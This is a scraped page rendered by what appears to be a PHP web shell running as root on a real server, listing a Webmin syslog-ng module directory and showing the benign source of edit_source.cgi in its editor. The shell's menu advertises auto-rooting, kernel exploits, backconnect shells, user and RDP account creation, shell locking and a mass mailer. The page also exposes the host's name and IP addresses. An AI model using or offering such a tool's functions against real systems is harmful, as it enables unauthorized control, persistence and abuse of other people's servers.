Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
webmin /
syslog-ng /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
389
B
-rw-r--r--
apply.cgi
202
B
-rwxr-xr-x
backup_config.pl
617
B
-rwxr-xr-x
config
190
B
-rw-r--r--
config-AlmaLinux-7.0-ALL
188
B
-rw-r--r--
config-Amazon-Linux-2-ALL
188
B
-rw-r--r--
config-CentOS-Linux-7.0-ALL
190
B
-rw-r--r--
config-CentOS-Stream-Linux-8.0...
188
B
-rw-r--r--
config-CloudLinux-8.0-ALL
188
B
-rw-r--r--
config-Oracle-Linux-8.0-ALL
188
B
-rw-r--r--
config-Redhat-Enterprise-Linux...
188
B
-rw-r--r--
config-Rocky-Linux-7.0-ALL
188
B
-rw-r--r--
config-Scientific-Linux-7.0-AL...
188
B
-rw-r--r--
config-debian-linux
196
B
-rw-r--r--
config-freebsd
225
B
-rw-r--r--
config-gentoo-linux
211
B
-rw-r--r--
config-openSUSE-Linux-15.0-ALL
128
B
-rw-r--r--
config-openmamba-linux
186
B
-rw-r--r--
config-redhat-linux-12.0-23.0
196
B
-rw-r--r--
config-redhat-linux-24.0-ALL
176
B
-rw-r--r--
config-solaris
197
B
-rw-r--r--
config-suse-linux
128
B
-rw-r--r--
config-syno-linux
122
B
-rw-r--r--
config.info
575
B
-rw-r--r--
config.info.ca
673
B
-rw-r--r--
config.info.de
687
B
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.nl
651
B
-rw-r--r--
config.info.no
613
B
-rw-r--r--
delete_destinations.cgi
710
B
-rwxr-xr-x
delete_filters.cgi
667
B
-rwxr-xr-x
delete_logs.cgi
549
B
-rwxr-xr-x
delete_sources.cgi
667
B
-rwxr-xr-x
edit_destination.cgi
6.76
KB
-rwxr-xr-x
edit_filter.cgi
4.24
KB
-rwxr-xr-x
edit_log.cgi
2.22
KB
-rwxr-xr-x
edit_source.cgi
9.59
KB
-rwxr-xr-x
index.cgi
1.9
KB
-rwxr-xr-x
install_check.pl
419
B
-rwxr-xr-x
list_destinations.cgi
1.88
KB
-rwxr-xr-x
list_filters.cgi
1.1
KB
-rwxr-xr-x
list_logs.cgi
1.23
KB
-rwxr-xr-x
list_options.cgi
5.63
KB
-rwxr-xr-x
list_sources.cgi
1.04
KB
-rwxr-xr-x
log_parser.pl
685
B
-rwxr-xr-x
module.info
148
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
104
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
152
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
194
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
249
B
-rw-r--r--
module.info.ca
130
B
-rw-r--r--
module.info.cs
0
B
-rw-r--r--
module.info.cs.auto
131
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
104
B
-rw-r--r--
module.info.de
112
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
225
B
-rw-r--r--
module.info.es
0
B
-rw-r--r--
module.info.es.auto
123
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
134
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
204
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
120
B
-rw-r--r--
module.info.fr
0
B
-rw-r--r--
module.info.fr.auto
127
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
151
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
136
B
-rw-r--r--
module.info.hu
38
B
-rw-r--r--
module.info.hu.auto
97
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
127
B
-rw-r--r--
module.info.ja
0
B
-rw-r--r--
module.info.ja.auto
138
B
-rw-r--r--
module.info.ko
0
B
-rw-r--r--
module.info.ko.auto
126
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
141
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
125
B
-rw-r--r--
module.info.ms
111
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
123
B
-rw-r--r--
module.info.nl
23
B
-rw-r--r--
module.info.nl.auto
89
B
-rw-r--r--
module.info.no
25
B
-rw-r--r--
module.info.no.auto
78
B
-rw-r--r--
module.info.pl
0
B
-rw-r--r--
module.info.pl.auto
112
B
-rw-r--r--
module.info.pt
0
B
-rw-r--r--
module.info.pt.auto
119
B
-rw-r--r--
module.info.pt_BR
0
B
-rw-r--r--
module.info.pt_BR.auto
125
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
136
B
-rw-r--r--
module.info.ru
0
B
-rw-r--r--
module.info.ru.auto
188
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
133
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
127
B
-rw-r--r--
module.info.sv
0
B
-rw-r--r--
module.info.sv.auto
107
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
207
B
-rw-r--r--
module.info.tr
0
B
-rw-r--r--
module.info.tr.auto
136
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
194
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
179
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
160
B
-rw-r--r--
module.info.zh
0
B
-rw-r--r--
module.info.zh.auto
103
B
-rw-r--r--
module.info.zh_TW
0
B
-rw-r--r--
module.info.zh_TW.auto
109
B
-rw-r--r--
prefs.info
44
B
-rw-r--r--
save_destination.cgi
4.99
KB
-rwxr-xr-x
save_filter.cgi
3.64
KB
-rwxr-xr-x
save_log.cgi
1.94
KB
-rwxr-xr-x
save_options.cgi
2.08
KB
-rwxr-xr-x
save_source.cgi
6.11
KB
-rwxr-xr-x
start.cgi
198
B
-rwxr-xr-x
stop.cgi
194
B
-rwxr-xr-x
syslog-ng-lib.pl
20.61
KB
-rwxr-xr-x
view_log.cgi
2.92
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : edit_source.cgi
#!/usr/bin/perl # Show a form for editing or creating a log source require './syslog-ng-lib.pl'; &ReadParse(); # Show title and get the source $conf = &get_config(); if ($in{'new'}) { &ui_print_header(undef, $text{'source_title1'}, ""); } else { &ui_print_header(undef, $text{'source_title2'}, ""); @sources = &find("source", $conf); ($source) = grep { $_->{'value'} eq $in{'name'} } @sources; $source || &error($text{'source_egone'}); } # Form header print &ui_form_start("save_source.cgi", "post"); print &ui_hidden("new", $in{'new'}),"\n"; print &ui_hidden("old", $in{'name'}),"\n"; print &ui_table_start($text{'source_header'}, undef, 2); # Source name print &ui_table_row($text{'source_name'}, &ui_textbox("name", $source->{'value'}, 20)); # Show internal option $ttable = "<table>\n"; $internal = &find("internal", $source->{'members'}); $ttable .= "<tr> <td colspan=2>".&ui_checkbox("internal", 1, "<b>$text{'sources_typei'}</b>", $internal ? 1 : 0)."</td> </tr>\n"; # Show Unix stream and dgram socket options foreach $t ("unix-stream", "unix-dgram") { $unix = &find($t, $source->{'members'}); local ($unix_name, $unix_owner, $unix_group, $unix_perm, $unix_keep, $unix_max); if ($unix) { $unix_name = $unix->{'value'}; $unix_owner = &find_value("owner", $unix->{'members'}); $unix_group = &find_value("group", $unix->{'members'}); $unix_perm = &find_value("perm", $unix->{'members'}); $unix_keep = &find_value("keep-alive", $unix->{'members'}); $unix_max = &find_value("max-connections", $unix->{'members'}); } $msg = $t eq "unix-stream" ? 'sources_types' : 'sources_typed'; $ttable .= "<tr> <td valign=top>".&ui_checkbox($t, 1, "<b>$text{$msg}</b>", $unix ? 1 : 0)."</td> <td><table>\n"; # Socket filename $ttable .= "<tr> <td>$text{'destination_file'}</td> <td>". &ui_textbox($t."_name", $unix_name, 35)." ". &file_chooser_button("unix_name")."</td> </tr>\n"; # Socket owner and group $ttable .= "<tr> <td>$text{'source_owner'}</td> <td>". &ui_opt_textbox($t."_owner", $unix_owner, 15, $text{'default'})." ". &user_chooser_button($t."_owner")."</td> </tr>\n"; $ttable .= "<tr> <td>$text{'source_group'}</td> <td>". &ui_opt_textbox($t."_group", $unix_group, 15, $text{'default'})." ". &group_chooser_button($t."_group")."</td> </tr>\n"; # File permissions, keep-alive and max connetions $ttable .= "<tr> <td>$text{'source_perm'}</td> <td>". &ui_opt_textbox($t."_perm", $unix_perm, 5,$text{'default'}). "</td> </tr>\n"; if ($t eq "unix-stream") { $ttable .= "<tr> <td>$text{'source_keep'}</td> <td>". &ui_radio($t."_keep", $unix_keep, [ [ 'y', $text{'yes'} ], [ 'n', $text{'no'} ], [ '', $text{'default'} ] ])."</td> </tr>\n"; $ttable .= "<tr> <td>$text{'source_max'}</td> <td>". &ui_opt_textbox($t."_max", $unix_max, 5, $text{'default'})."</td> </tr>\n"; } $ttable .= "</table>\n"; $ttable .= "</td> </tr>\n"; } # TCP and UDP network sockets foreach $t ('tcp', 'udp') { $net = &find($t, $source->{'members'}); local ($net_ip, $net_port, $net_keep, $net_tkeep, $net_max); if ($net) { $net_ip = &find_value("ip", $net->{'members'}) || &find_value("localip", $net->{'members'}); $net_port = &find_value("port", $net->{'members'}) || &find_value("localport", $net->{'members'}); $net_keep = &find_value("keep-alive", $net->{'members'}); $net_tkeep = &find_value("tcp-keep-alive", $net->{'members'}); $net_max = &find_value("max-connections", $net->{'members'}); } $msg = $t eq "tcp" ? 'sources_typet' : 'sources_typeu'; $ttable .= "<tr> <td valign=top>".&ui_checkbox($t, 1, "<b>$text{$msg}</b>", $net ? 1 : 0)."</td> <td><table>\n"; # Local IP and port $ttable .= "<tr> <td>$text{'source_ip'}</td> <td>". &ui_opt_textbox($t."_ip", $net_ip, 15, $text{'source_any'}). "</td> </tr>\n"; $ttable .= "<tr> <td>$text{'source_port'}</td> <td>". &ui_opt_textbox($t."_port", $net_port, 6, $text{'default'}." (514)"). "</td> </tr>\n"; # TCP-specific options and max connections if ($t eq "tcp") { $ttable .= "<tr> <td>$text{'source_keep'}</td> <td>". &ui_radio($t."_keep", $net_keep, [ [ 'y', $text{'yes'} ], [ 'n', $text{'no'} ], [ '', $text{'default'} ] ])."</td> </tr>\n"; $ttable .= "<tr> <td>$text{'source_tkeep'}</td> <td>". &ui_radio($t."_tkeep", $net_tkeep, [ [ 'y', $text{'yes'} ], [ 'n', $text{'no'} ], [ '', $text{'default'} ] ])."</td> </tr>\n"; } $ttable .= "<tr> <td>$text{'source_max'}</td> <td>". &ui_opt_textbox($t."_max", $net_max, 5, $text{'default'})."</td> </tr>\n"; $ttable .= "</table>\n"; $ttable .= "</td> </tr>\n"; } # Kernel log file $file = &find("file", $source->{'members'}); if ($file) { $file_name = $file->{'value'}; $file_prefix = &find_value("log_prefix", $file->{'members'}); } $ttable .= "<tr> <td valign=top>".&ui_checkbox("file", 1, "<b>$text{'sources_typef'}</b>", $file ? 1 : 0)."</td> <td><table>\n"; # Log filename $ttable .= "<tr> <td>$text{'destination_file'}</td> <td>". &ui_textbox("file_name", $file_name, 35)." ". &file_chooser_button("file_name")."</td> </tr>\n"; # Message prefix $ttable .= "<tr> <td>$text{'source_prefix'}</td> <td>". &ui_opt_textbox("file_prefix", $file_prefix, 20, $text{'source_none'})."</td> </tr>\n"; $ttable .= "</table>\n"; $ttable .= "</td> </tr>\n"; # Pipe file $pipe = &find("pipe", $source->{'members'}); if ($pipe) { $pipe_name = $pipe->{'value'}; $pipe_prefix = &find_value("log_prefix", $pipe->{'members'}); $pad_size = &find_value("pad_size", $pipe->{'members'}); } $ttable .= "<tr> <td valign=top>".&ui_checkbox("pipe", 1, "<b>$text{'sources_typep'}</b>", $pipe ? 1 : 0)."</td> <td><table>\n"; # Log pipename $ttable .= "<tr> <td>$text{'destination_file'}</td> <td>". &ui_textbox("pipe_name", $pipe_name, 35)." ". &file_chooser_button("pipe_name")."</td> </tr>\n"; # Message prefix and pad size $ttable .= "<tr> <td>$text{'source_prefix'}</td> <td>". &ui_opt_textbox("pipe_prefix", $pipe_prefix, 20, $text{'source_none'})."</td> </tr>\n"; $ttable .= "<tr> <td>$text{'source_pad'}</td> <td>". &ui_opt_textbox("pad_size", $pad_size, 20, $text{'source_none'})."</td> </tr>\n"; $ttable .= "</table>\n"; $ttable .= "</td> </tr>\n"; if (&supports_sun_streams()) { # Sun streams file $sun_streams = &find("sun-streams", $source->{'members'}); if ($sun_streams) { $sun_streams_name = $sun_streams->{'value'}; $sun_streams_door = &find_value("door", $sun_streams->{'members'}); } $ttable .= "<tr> <td valign=top>".&ui_checkbox("sun-streams", 1, "<b>$text{'sources_typen'}</b>", $sun_streams ? 1 : 0)."</td> <td><table>\n"; # Log filename $ttable .= "<tr> <td>$text{'destination_file'}</td> <td>". &ui_textbox("sun_streams_name", $sun_streams_name, 35)." ". &file_chooser_button("sun_streams_name")."</td> </tr>\n"; # Door name $ttable .= "<tr> <td>$text{'source_door'}</td> <td>". &ui_textbox("sun_streams_door", $sun_streams_door, 35)." ". &file_chooser_button("sun_streams_name")."</td> </tr>\n"; $ttable .= "</table>\n"; $ttable .= "</td> </tr>\n"; } # Syslog server protocol $network = &find("network", $source->{'members'}); $ttable .= "<tr> <td valign=top>".&ui_checkbox("network", 1, "<b>$text{'sources_typenw'}</b>", $network ? 1 : 0)."</td> <td><table>\n"; if ($network) { $network_ip = &find_value("ip", $network->{'members'}); $network_port = &find_value("port", $network->{'members'}); $network_transport = &find_value("transport", $network->{'members'}); } # IP and port $ttable .= "<tr> <td>$text{'source_ip'}</td> <td>". &ui_opt_textbox("network_ip", $network_ip, 15, $text{'source_any'}). "</td> </tr>\n"; $ttable .= "<tr> <td>$text{'source_port'}</td> <td>". &ui_opt_textbox("network_port", $network_port, 6, $text{'default'}." (601)"). "</td> </tr>\n"; # Transport type $ttable .= "<tr> <td>$text{'source_transport'}</td> <td>". &ui_select("network_transport", $network_transport, [ [ "", $text{'default'} ], [ "tcp", "TCP" ], [ "udp", "UDP" ] ]). "</td> </tr>\n"; $ttable .= "</table>\n"; $ttable .= "</td> </tr>\n"; # Show types table $ttable .= "</table>\n"; print "<tr> <td valign=top><b>$text{'source_type'}</b></td> <td>\n"; print $ttable; print "</td> </tr>\n"; # Form footer and buttons print &ui_table_end(); if ($in{'new'}) { print &ui_form_end([ [ "create", $text{'create'} ] ]); } else { print &ui_form_end([ [ "save", $text{'save'} ], [ "delete", $text{'delete'} ] ]); } &ui_print_footer("list_sources.cgi", $text{'sources_return'});
Close